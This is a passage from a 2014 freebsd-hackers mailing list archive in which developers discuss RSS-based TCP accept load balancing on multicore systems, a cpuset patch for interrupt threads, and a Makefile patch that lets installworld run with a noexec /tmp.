bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 639064A6; Mon, 9 Jun 2014 17:12:32 +0000 (UTC) Received: from mail-we0-x22d.google.com (mail-we0-x22d.google.com [IPv6:2a00:1450:400c:c03::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C73262C39; Mon, 9 Jun 2014 17:12:31 +0000 (UTC) Received: by mail-we0-f173.google.com with SMTP id u57so6212154wes.32 for ; Mon, 09 Jun 2014 10:12:30 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=ntX8SivLTjWdASJmFoQwlryaw1KMR4vE+MNXaOItCdo=; b=u77YhYm8rl1hFh2UVsMx3M2UIpRFete/iWhmTWGgi+IbFNLZyfcwBIR3hRcvhFUkYK MtlDNPF39pgHbVuR7+ZOnjXCx40f76VHcVcNfkgAjMlrdxpXoaSECfzb9KgLv7hUgzly OS9yxjnkw1SGqU4SRnm5s1L8DU0/Qb235cENat+C8Y8lyGMo0jXY1NjJ3iBNAOv3xxG9 qMHv8+A67xmJyyKwqqdkY7prjXBFHxh/ZiTXORk4RxYzitjZHE46beHXr1YFgcQ8IHRO vxxbiAcoH4TZCq3F2FL+zeXxZK0+wt/LWGvxwJYx6I+7AwDhect6LAQ5c888SLVsYUex Na9g== X-Received: by 10.180.221.163 with SMTP id qf3mr32860447wic.56.1402333950010; Mon, 09 Jun 2014 10:12:30 -0700 (PDT) Received: from [192.168.2.30] ([2.176.208.29]) by mx.google.com with ESMTPSA id do5sm15762427wib.16.2014.06.09.10.12.27 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 09 Jun 2014 10:12:29 -0700 (PDT) Message-ID: <5395EAF6.4020505@gmail.com> Date: Mon, 09 Jun 2014 21:42:22 +0430 From: Hooman Fazaeli User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3 MIME-Version: 1.0 To: Adrian Chadd Subject: Re: Best practice for accepting TCP connections on multicore? References: <20140607010151.51751.qmail@f5-external.bushwire.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" , Mark Delany X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Jun 2014 17:12:32 -0000 On 6/7/2014 6:32 AM, Adrian Chadd wrote: > Hi, > > In the RSS model I'm hacking on: > > * you query the kernel for the current RSS bucket -> CPU mapping. > Right now it's one bucket -> one CPU but at some point it may be one > bucket -> cpuset; > * you spawn a thread for each RSS bucket; > * you pin each thread to the RSS bucket current CPU id; > * you create a listen socket in that thread, marked as BINDMULTI (ie, > multiple things can listen on this and the kernel will load balance > between them) and RSS_BUCKET (ie, please place this socket in the > given RSS bucket, rather than the global/wildcard list); > * then when a connection comes in, the kernel will first do a lookup > for a matching wildcard socket in the per-RSS PCBGROUP, rather than > the global wildcard table; > * if it finds it, that socket gets the incoming connection. > > At some point I'll add some notification via kqueue or what not that > the RSS buckets need rebalancing, and userland can then re-pin the > per-bucket threads. > > At the moment the hacks I've done only support one listen socket per > entry. My hope is that BINDMULTI will do some basic hash to load > balance within a set of matching PCB entries - and it'll be combined, > so if you do BINDMULTI without RSS, it'll just load balance between > multiple sockets with no CPU affinity knowledge. If you do RSS, it'll > distribute only CPU-local requests to a thread that's sitting in the > right RSS bucket. if you enable both, you can use a thread pool for > each RSS bucket CPU and (eventually, when I write it) it'll load > balance among those. > > But for now I'm assuming one incoming thread per RSS bucket will be > enough for people to experiment with. > > anyway, I guess I should email out the details: > > * http://github.com/erikarn/freebsd - the 'local/rss' branch has the > RSS changes to dev/e1000/if_igb.c and netinet/ would you please point to the exact URL for the branch? > * http://github.com/erikarn/freebsd-rss - has some RSS examples. Look > at rss-http. > > I haven't yet tested this at > 1GE because all I have at home are igb > and em NICs. If someone would like to donate ixgbe and T4 hardware, > i'll gratefully take it and do up RSS patches for those drivers. > > -- Best regards. Hooman Fazaeli From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 9 17:54:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9DAA5360 for ; Mon, 9 Jun 2014 17:54:13 +0000 (UTC) Received: from mail-qc0-x232.google.com (mail-qc0-x232.google.com [IPv6:2607:f8b0:400d:c01::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5C1692038 for ; Mon, 9 Jun 2014 17:54:13 +0000 (UTC) Received: by mail-qc0-f178.google.com with SMTP id c9so1013729qcz.23 for ; Mon, 09 Jun 2014 10:54:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=nku/9JivlqaJokhIkwTFbBp0Kh8eM/iraziJhXwJe1M=; b=WYT9YBt8T9tckx15qeiyxZaurf11Ph8Pt338OB74wXwBOU1s5jO7z9hzwqJSQQrfLI 7Al04+pT35uwTDaNlkOIoLbJ/UirqvIA+vaOwDaZ96khezIMWsWGAYvCg6mfMfdl+V5W mNe5/Ox3PECilLmh11Y0Ii7xjKoKxPYtc4f7H1eUqu4WHoX1wyIV60Oe2vRF9zyMLVnt ohctdMRQGjfdb5JEVscUVhwrTc6Qu0CKfBmRcc/wgyctFByTJTkQhpRHBBLJf09kaK1P DdtNPD3/8IEv+UK4Feiw7eJlbYAh8GslTd7QBrGGm+sSqJrEdHAYCLk9GE66n+k8wIaf CjEA== MIME-Version: 1.0 X-Received: by 10.140.91.5 with SMTP id y5mr33096889qgd.12.1402336452560; Mon, 09 Jun 2014 10:54:12 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.43.134 with HTTP; Mon, 9 Jun 2014 10:54:12 -0700 (PDT) In-Reply-To: <5395EAF6.4020505@gmail.com> References: <20140607010151.51751.qmail@f5-external.bushwire.net> <5395EAF6.4020505@gmail.com> Date: Mon, 9 Jun 2014 13:54:12 -0400 X-Google-Sender-Auth: XOjObkLWlldd7s-Hpx_GEBTw0jc Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? From: Adrian Chadd To: Hooman Fazaeli Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , Mark Delany X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Jun 2014 17:54:13 -0000 freebsd-rss is not freebsd; it's just the evaluation code Ive' written. 'master' is the branch there. -a On 9 June 2014 13:12, Hooman Fazaeli wrote: > On 6/7/2014 6:32 AM, Adrian Chadd wrote: >> >> Hi, >> >> In the RSS model I'm hacking on: >> >> * you query the kernel for the current RSS bucket -> CPU mapping. >> Right now it's one bucket -> one CPU but at some point it may be one >> bucket -> cpuset; >> * you spawn a thread for each RSS bucket; >> * you pin each thread to the RSS bucket current CPU id; >> * you create a listen socket in that thread, marked as BINDMULTI (ie, >> multiple things can listen on this and the kernel will load balance >> between them) and RSS_BUCKET (ie, please place this socket in the >> given RSS bucket, rather than the global/wildcard list); >> * then when a connection comes in, the kernel will first do a lookup >> for a matching wildcard socket in the per-RSS PCBGROUP, rather than >> the global wildcard table; >> * if it finds it, that socket gets the incoming connection. >> >> At some point I'll add some notification via kqueue or what not that >> the RSS buckets need rebalancing, and userland can then re-pin the >> per-bucket threads. >> >> At the moment the hacks I've done only support one listen socket per >> entry. My hope is that BINDMULTI will do some basic hash to load >> balance within a set of matching PCB entries - and it'll be combined, >> so if you do BINDMULTI without RSS, it'll just load balance between >> multiple sockets with no CPU affinity knowledge. If you do RSS, it'll >> distribute only CPU-local requests to a thread that's sitting in the >> right RSS bucket. if you enable both, you can use a thread pool for >> each RSS bucket CPU and (eventually, when I write it) it'll load >> balance among those. >> >> But for now I'm assuming one incoming thread per RSS bucket will be >> enough for people to experiment with. >> >> anyway, I guess I should email out the details: >> >> * http://github.com/erikarn/freebsd - the 'local/rss' branch has the >> RSS changes to dev/e1000/if_igb.c and netinet/ > > would you please point to the exact URL for the branch? > >> * http://github.com/erikarn/freebsd-rss - has some RSS examples. Look >> at rss-http. >> >> I haven't yet tested this at > 1GE because all I have at home are igb >> and em NICs. If someone would like to donate ixgbe and T4 hardware, >> i'll gratefully take it and do up RSS patches for those drivers. >> >> > > -- > > Best regards. > Hooman Fazaeli > From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 9 18:09:23 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AF2C8A51; Mon, 9 Jun 2014 18:09:23 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6FAF4216B; Mon, 9 Jun 2014 18:09:23 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 72C65B94F; Mon, 9 Jun 2014 14:09:22 -0400 (EDT) From: John Baldwin To: "Alexander V. Chernikov" Subject: Re: Permit init(8) use its own cpuset group. Date: Mon, 9 Jun 2014 13:43:39 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20140415; KDE/4.5.5; amd64; ; ) References: <538C8F9A.4020301@FreeBSD.org> <5390DB64.6010704@FreeBSD.org> <53923C09.6020302@FreeBSD.org> In-Reply-To: <53923C09.6020302@FreeBSD.org> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201406091343.39584.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Mon, 09 Jun 2014 14:09:22 -0400 (EDT) Cc: Konstantin Belousov , freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Jun 2014 18:09:23 -0000 On Friday, June 06, 2014 6:09:13 pm Alexander V. Chernikov wrote: > On 06.06.2014 01:04, Alexander V. Chernikov wrote: > > On 05.06.2014 23:59, John Baldwin wrote: > >> On Thursday, June 05, 2014 3:46:15 pm Alexander V. Chernikov wrote: > >>> On 05.06.2014 18:09, John Baldwin wrote: > >>>> On Wednesday, June 04, 2014 3:16:59 pm Alexander V. Chernikov wrote: > >>>>> On 04.06.2014 19:06, John Baldwin wrote: > >>>>>> On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: > >>>>>>> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: > >>>>>>>> Hello list! > >>>>>>>> > >>>>>>>> Currently init(8) uses group 1 which is root group. > >>>>>>>> Modifications of this group affects both kernel and userland threads. > >>>>>>>> Additionally, such modifications are impossible, for example, in > >>>> presence > >>>>>>>> of multi-queue NIC drivers (like igb or ixgbe) which binds their > >> threads > >>>>>> to > >>>>>>>> particular cpus. > >>>>>>>> > >>>>>>>> Proposed change ("init_cpuset" loader tunable) permits changing cpu > >>>>>>>> masks for > >>>>>>>> userland more easily. Restricting user processes to migrate to/from > >> CPU > >>>>>>>> cores > >>>>>>>> used for network traffic processing is one of the cases. > >>>>>>>> > >>>>>>>> Phabricator: https://phabric.freebsd.org/D141 (the same version > >> attached > >>>>>>>> inline) > >>>>>>>> > >>>>>>>> If there are no objections, I'll commit this next week. > >>>>>>> Why is the tunable needed ? > >>>>>> Because some people already depend on doing 'cpuset -l 0 -s 1'. It is > >>>> also > >>>>>> documented in our manpages that processes start in cpuset 1 by default > >> so > >>>>>> that you can use 'cpuset -l 0 -s 1' to move all processes, etc. > >>>>>> > >>>>>> For the stated problem (bound ithreads in drivers), I would actually > >> like > >>>> to > >>>>>> fix ithreads that are bound to a specific CPU to create a different > >> cpuset > >>>>>> instead so they don't conflict with set 1. > >>>>> Yes, this seem to be much better approach. > >>>>> Please take a look on the new patch (here or in the phabricator). > >>>>> Comments: > >>>>> > >>>>> Use different approach for modifyable root set: > >>>>> > >>>>> * Make sets in 0..15 internal > >>>>> * Define CPUSET_SET1 & CPUSET_ITHREAD in that range > >>>>> * Add cpuset_lookup_builtin() to retrieve such cpu sets by id > >>>>> * Create additional root set for ithreads > >>>>> * Use this set in ithread_create() > >>>>> * Change intr_setaffinity() to use cpuset_iroot (do we really need > >> this)? > >>>>> > >>>>> We can probably do the same for kprocs, but I'm unsure if we really need > >> it. > >>>> > >>>> I imagined something a bit simpler. Just create a new set in > >> intr_event_bind > >>>> and bind the ithread to the new set. No need to have more magic set ids, > >> etc. > >>> Well, we also have userland which can modify given changes via `cpuset > >>> -x', so we need to be able to add some more logic on set > >>> allocation/keeping. Additionally, we can try to do the same via `cpuset > >>> -t', so introducing something like cpuset_setIthread() and hooking into > >>> intr_event_bind() won't probably be enough. At least I can't think out a > >>> quick and easy way to do this. > >> > >> cpuset -x calls intr_event_bind(). If you just do it there you fix both > >> places. > Yup. I was wrong. This version seems to be simpler while doing the right > thing. Hmm, I do think this patch is doing the right thing, but I'm worried you might have weird effects, e.g. I worry that because the 'intr' proc is in set 1 still, the thread masks will be (incorrectly) checked when changing set 1 and you still won't be able to 'cpuset -l 0 -s 1'. Also, strictly speaking, it would probably be best to return threads to set 1 when NOCPU is passed to intr_event_bind() to unbind an interrupt. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 9 23:01:52 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B9112B23 for ; Mon, 9 Jun 2014 23:01:52 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 89B822BFA for ; Mon, 9 Jun 2014 23:01:52 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.8/8.14.8) with ESMTP id s59N1qg0029602 for ; Mon, 9 Jun 2014 23:01:52 GMT (envelope-from bdrewery@freefall.freebsd.org) Received: (from bdrewery@localhost) by freefall.freebsd.org (8.14.9/8.14.9/Submit) id s59N1ql0029601 for hackers@FreeBSD.org; Mon, 9 Jun 2014 23:01:52 GMT (envelope-from bdrewery) Received: (qmail 93442 invoked from network); 9 Jun 2014 18:01:49 -0500 Received: from unknown (HELO roundcube.xk42.net) (10.10.5.5) by sweb.xzibition.com with SMTP; 9 Jun 2014 18:01:49 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Date: Mon, 09 Jun 2014 18:01:48 -0500 From: Bryan Drewery To: hackers@FreeBSD.org Subject: [RFC] Fixed installworld with noexec /tmp Organization: FreeBSD Message-ID: <25659df71b49c7b72b6f2d9a786c5ac9@shatow.net> X-Sender: bdrewery@FreeBSD.org User-Agent: Roundcube Webmail/0.9.5 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Jun 2014 23:01:52 -0000 I've always had my /tmp mounted as noexec. Despite how useless this is, I and many others have had trouble with installworld due to it. You can see how frequent it occurs here: https://www.google.com/#q=freebsd+installworld+noexec A simple workaround, which I only just discovered from PR 58117, is to set TMPDIR to somewhere that can exec. This patch fixes it by using the OBJDIR rather than the assumed /tmp or TMPDIR. The purpose of the installworld code using INSTALLTMP is to use the pre-install binaries to do the install, rather than the newly built binaries. This is to ensure the binaries will run while system is in an inconsistent state with libraries and in case the kernel is not yet upgraded. My change adds continues to respect that by ensuring it uses the already-installed mkdir(1) and env(1) with full paths. http://people.freebsd.org/~bdrewery/patches/installworld-noexec.txt --- Makefile.inc1 +++ Makefile.inc1 @@ -191,7 +191,9 @@ TMPPATH= ${STRICTTMPPATH}:${PATH} # when in the middle of installing over this system. # .if make(distributeworld) || make(installworld) -INSTALLTMP!= /usr/bin/mktemp -d -u -t install +INSTALLTMPDIR= ${OBJTREE}${.CURDIR}/itmp +INSTALLTMP!= /bin/mkdir -p ${INSTALLTMPDIR} && /usr/bin/env \ + TMPDIR=${INSTALLTMPDIR} /usr/bin/mktemp -d -u -t install .endif # @@ -833,7 +835,7 @@ distributeworld installworld: _installcheck_world LOCAL_MTREE=${LOCAL_MTREE:Q} distrib-dirs .endif ${_+_}cd ${.CURDIR}; ${IMAKE} re${.TARGET:S/world$//}; \ - ${IMAKEENV} rm -rf ${INSTALLTMP} + ${IMAKEENV} rm -rf ${INSTALLTMPDIR} .if make(distributeworld) .for dist in ${EXTRA_DISTRIBUTIONS} find ${DESTDIR}/${DISTDIR}/${dist} -mindepth 1 -empty -delete The only downside I see is that failures can leave the stale tmpdir in the OBJDIR, which is why I remove the entire "itmp" dir once installworld finally does succeed. -- Regards, Bryan Drewery From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 9 23:28:27 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D1B7468E; Mon, 9 Jun 2014 23:28:27 +0000 (UTC) Received: from mail-qa0-x22f.google.com (mail-qa0-x22f.google.com [IPv6:2607:f8b0:400d:c00::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 847052DE4; Mon, 9 Jun 2014 23:28:27 +0000 (UTC) Received: by mail-qa0-f47.google.com with SMTP id s7so8417005qap.20 for ; Mon, 09 Jun 2014 16:28:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=h6+RsMHz0TDJGidcm6GoCB79fxkycNWtryokTNGCWHI=; b=Amt3vKs/VyRm0Wo03vO8lfkcKeIT1EiDPKCpzw5UaL+WA1IKO1p0EOCNUy+vxR8pZq WOuVuC+1GPTUhp5wRASrwa+N38as+J/0gJC561VYACL/ZHfSZoOHajuPbdz6KDc7oM1B j3ym6aJSYqSxjzGUVh44uSK0xdw9Glrq0ElU/YbqrkyVaxAVD38iOjuLziCfUA6Oor4o afMzwZ2n0rdB2pqEeIj4oxXIqe+XZL+KbE/jDB/p8iz/xPMg9dZkYGdJ32yBb8NCKqHN L4MRTwp41ilMCYr5hddEsAqjgtzauC4Zyk3OTk2bOIQHvsau+HBUXEJR2g4aTIHFwqAL BIYQ== MIME-Version: 1.0 X-Received: by 10.224.16.200 with SMTP id p8mr13578503qaa.76.1402356506638; Mon, 09 Jun 2014 16:28:26 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.43.134 with HTTP; Mon, 9 Jun 2014 16:28:26 -0700 (PDT) In-Reply-To: <25659df71b49c7b72b6f2d9a786c5ac9@shatow.net> References: <25659df71b49c7b72b6f2d9a786c5ac9@shatow.net> Date: Mon, 9 Jun 2014 19:28:26 -0400 X-Google-Sender-Auth: FCRCxgsOzmNTK1-nxcgxOistrZU Message-ID: Subject: Re: [RFC] Fixed installworld with noexec /tmp From: Adrian Chadd To: Bryan Drewery Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Jun 2014 23:28:28 -0000 Would this fix instances of people building world on a shared box? (ie, multiple different srcdir/objdir/destdir, but same /tmp?) -a On 9 June 2014 19:01, Bryan Drewery wrote: > I've always had my /tmp mounted as noexec. Despite how useless this > is, I and many others have had trouble with installworld due to it. > > You can see how frequent it occurs here: > https://www.google.com/#q=freebsd+installworld+noexec > > A simple workaround, which I only just discovered from PR 58117, is to set > TMPDIR > to somewhere that can exec. > > This patch fixes it by using the OBJDIR rather than the assumed /tmp or > TMPDIR. > > The purpose of the installworld code using INSTALLTMP is to use the > pre-install > binaries to do the install, rather than the newly built binaries. This is to > ensure > the binaries will run while system is in an inconsistent state with > libraries and > in case the kernel is not yet upgraded. My change adds continues to respect > that by > ensuring it uses the already-installed mkdir(1) and env(1) with full paths. > > http://people.freebsd.org/~bdrewery/patches/installworld-noexec.txt > > --- Makefile.inc1 > +++ Makefile.inc1 > @@ -191,7 +191,9 @@ TMPPATH= ${STRICTTMPPATH}:${PATH} > # when in the middle of installing over this system. > # > .if make(distributeworld) || make(installworld) > -INSTALLTMP!= /usr/bin/mktemp -d -u -t install > +INSTALLTMPDIR= ${OBJTREE}${.CURDIR}/itmp > +INSTALLTMP!= /bin/mkdir -p ${INSTALLTMPDIR} && /usr/bin/env \ > + TMPDIR=${INSTALLTMPDIR} /usr/bin/mktemp -d -u -t install > .endif > > # > @@ -833,7 +835,7 @@ distributeworld installworld: _installcheck_world > LOCAL_MTREE=${LOCAL_MTREE:Q} distrib-dirs > .endif > ${_+_}cd ${.CURDIR}; ${IMAKE} re${.TARGET:S/world$//}; \ > - ${IMAKEENV} rm -rf ${INSTALLTMP} > + ${IMAKEENV} rm -rf ${INSTALLTMPDIR} > .if make(distributeworld) > .for dist in ${EXTRA_DISTRIBUTIONS} > find ${DESTDIR}/${DISTDIR}/${dist} -mindepth 1 -empty -delete > > The only downside I see is that failures can leave the stale tmpdir in > the OBJDIR, which is why I remove the entire "itmp" dir once installworld > finally does succeed. > > -- > Regards, > Bryan Drewery > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 9 23:52:36 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B3989AA for ; Mon, 9 Jun 2014 23:52:36 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9614E2034 for ; Mon, 9 Jun 2014 23:52:36 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.8/8.14.8) with ESMTP id s59Nqarw047097 for ; Mon, 9 Jun 2014 23:52:36 GMT (envelope-from bdrewery@freefall.freebsd.org) Received: (from bdrewery@localhost) by freefall.freebsd.org (8.14.9/8.14.9/Submit) id s59Nqaim047095 for hackers@freebsd.org; Mon, 9 Jun 2014 23:52:36 GMT (envelope-from bdrewery) Received: (qmail 79594 invoked from network); 9 Jun 2014 18:52:34 -0500 Received: from unknown (HELO ?10.10.1.156?) (freebsd@shatow.net@10.10.1.156) by sweb.xzibition.com with ESMTPA; 9 Jun 2014 18:52:34 -0500 Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (1.0) Subject: Re: [RFC] Fixed installworld with noexec /tmp From: Bryan Drewery X-Mailer: iPhone Mail (11D201) In-Reply-To: Date: Mon, 9 Jun 2014 18:52:35 -0500 Content-Transfer-Encoding: quoted-printable Message-Id: <5F09C06B-7334-4501-8BF0-B99E6C74B8FA@FreeBSD.org> References: <25659df71b49c7b72b6f2d9a786c5ac9@shatow.net> To: Adrian Chadd Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Jun 2014 23:52:36 -0000 I am not familiar with that problem. I don't think my fix would help that is= sue as it was already using mktemp(1) to get a random directory in /tmp. Sent from my iPhone > On Jun 9, 2014, at 18:28, Adrian Chadd wrote: >=20 > Would this fix instances of people building world on a shared box? >=20 > (ie, multiple different srcdir/objdir/destdir, but same /tmp?) >=20 >=20 > -a >=20 >=20 >> On 9 June 2014 19:01, Bryan Drewery wrote: >> I've always had my /tmp mounted as noexec. Despite how useless this >> is, I and many others have had trouble with installworld due to it. >>=20 >> You can see how frequent it occurs here: >> https://www.google.com/#q=3Dfreebsd+installworld+noexec >>=20 >> A simple workaround, which I only just discovered from PR 58117, is to se= t >> TMPDIR >> to somewhere that can exec. >>=20 >> This patch fixes it by using the OBJDIR rather than the assumed /tmp or >> TMPDIR. >>=20 >> The purpose of the installworld code using INSTALLTMP is to use the >> pre-install >> binaries to do the install, rather than the newly built binaries. This is= to >> ensure >> the binaries will run while system is in an inconsistent state with >> libraries and >> in case the kernel is not yet upgraded. My change adds continues to respe= ct >> that by >> ensuring it uses the already-installed mkdir(1) and env(1) with full path= s. >>=20 >> http://people.freebsd.org/~bdrewery/patches/installworld-noexec.txt >>=20 >> --- Makefile.inc1 >> +++ Makefile.inc1 >> @@ -191,7 +191,9 @@ TMPPATH=3D ${STRICTTMPPATH}:${PATH} >> # when in the middle of installing over this system. >> # >> .if make(distributeworld) || make(installworld) >> -INSTALLTMP!=3D /usr/bin/mktemp -d -u -t install >> +INSTALLTMPDIR=3D ${OBJTREE}${.CURDIR}/itmp >> +INSTALLTMP!=3D /bin/mkdir -p ${INSTALLTMPDIR} && /usr/bin/env \ >> + TMPDIR=3D${INSTALLTMPDIR} /usr/bin/mktemp -d -u -t instal= l >> .endif >>=20 >> # >> @@ -833,7 +835,7 @@ distributeworld installworld: _installcheck_world >> LOCAL_MTREE=3D${LOCAL_MTREE:Q} distrib-dirs >> .endif >> ${_+_}cd ${.CURDIR}; ${IMAKE} re${.TARGET:S/world$//}; \ >> - ${IMAKEENV} rm -rf ${INSTALLTMP} >> + ${IMAKEENV} rm -rf ${INSTALLTMPDIR} >> .if make(distributeworld) >> .for dist in ${EXTRA_DISTRIBUTIONS} >> find ${DESTDIR}/${DISTDIR}/${dist} -mindepth 1 -empty -delete >>=20 >> The only downside I see is that failures can leave the stale tmpdir in >> the OBJDIR, which is why I remove the entire "itmp" dir once installworld= >> finally does succeed. >>=20 >> -- >> Regards, >> Bryan Drewery >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 10 08:49:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6A83AA89 for ; Tue, 10 Jun 2014 08:49:55 +0000 (UTC) Received: from server1.xenet.de (server1out.xenet.de [213.221.94.200]) by mx1.freebsd.org (Postfix) with ESMTP id CB0B92A26 for ; Tue, 10 Jun 2014 08:49:52 +0000 (UTC) Received: from [10.0.0.32] (intern.xenet.de [213.221.94.50]) (authenticated bits=0) by server1.xenet.de (8.12.5/8.12.5) with ESMTP id s5A8neBJ009539 for ; Tue, 10 Jun 2014 10:49:43 +0200 (CEST) (envelope-from meyser@xenet.de) Message-ID: <5396C6A3.6050004@xenet.de> Date: Tue, 10 Jun 2014 10:49:39 +0200 From: Matthias Meyser Organization: XeNET GmbH, Clausthal-Zellerfeld User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: [RFC] Fixed installworld with noexec /tmp References: <25659df71b49c7b72b6f2d9a786c5ac9@shatow.net> 